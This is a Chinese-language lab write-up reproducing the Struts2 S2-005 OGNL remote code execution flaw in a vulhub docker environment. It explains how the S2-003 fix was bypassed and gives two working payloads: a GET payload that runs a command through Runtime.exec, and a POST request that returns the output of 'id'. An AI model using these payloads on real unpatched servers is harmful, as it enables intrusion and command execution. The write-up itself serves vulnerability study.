S2-005 遠程代碼執行漏洞


S2-005 遠程代碼執行漏洞

S2-005 遠程代碼執行漏洞

參考吳翰清的《白帽子講Web安全》一書。

s2-005漏洞的起源源於S2-003(受影響版本: 低於Struts 2.0.12),struts2會將http的每個參數名解析為OGNL語句執行(可理解為java代碼)。OGNL表達式通過#來訪問struts的對象,struts框架通過過濾#字符防止安全問題,然而通過unicode編碼(\u0023)或8進制(\43)即繞過了安全限制,對於S2-003漏洞,官方通過增加安全配置(禁止靜態方法調用和類方法執行等)來修補,但是安全配置被繞過再次導致了漏洞,攻擊者可以利用OGNL表達式將這2個選項打開,S2-003的修補方案把自己上了一個鎖,但是把鎖鑰匙給插在了鎖頭上

XWork會將GET參數的鍵和值利用OGNL表達式解析成Java語句,如:

user.address.city=Bishkek&user['favoriteDrink']=kumys 
//會被轉化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

觸發漏洞就是利用了這個點,再配合OGNL的沙盒繞過方法,組成了S2-003。官方對003的修復方法是增加了安全模式(沙盒),S2-005在OGNL表達式中將安全模式關閉,又繞過了修復方法。整體過程如下:

  • S2-003 使用\u0023繞過s2對#的防御
  • S2-003 后官方增加了安全模式(沙盒)
  • S2-005 使用OGNL表達式將沙盒關閉,繼續執行代碼

漏洞環境

我們先下載環境,在github有別人直接搭建好的docker環境我們直接拿來用即可

git clone git://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-005/
docker-compose up -d

訪問IP:8080即可看到界面。


影響版本

Struts 2.0.0 - Struts 2.1.8 .1


漏洞復現

我們執行POC

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/EDI%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

進入容器查看發現創建的EDI文件

這里假如你發送POC沒有成功的話就把\、"等字符urlencode,編碼以后再發送就好了。

假如你要看一些命令執行有回顯就用這個POC

POST /example/HelloWorld.action HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)
Host: IP:8080
Content-Length: 626

redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27id%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

發現命令執行成功回顯


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM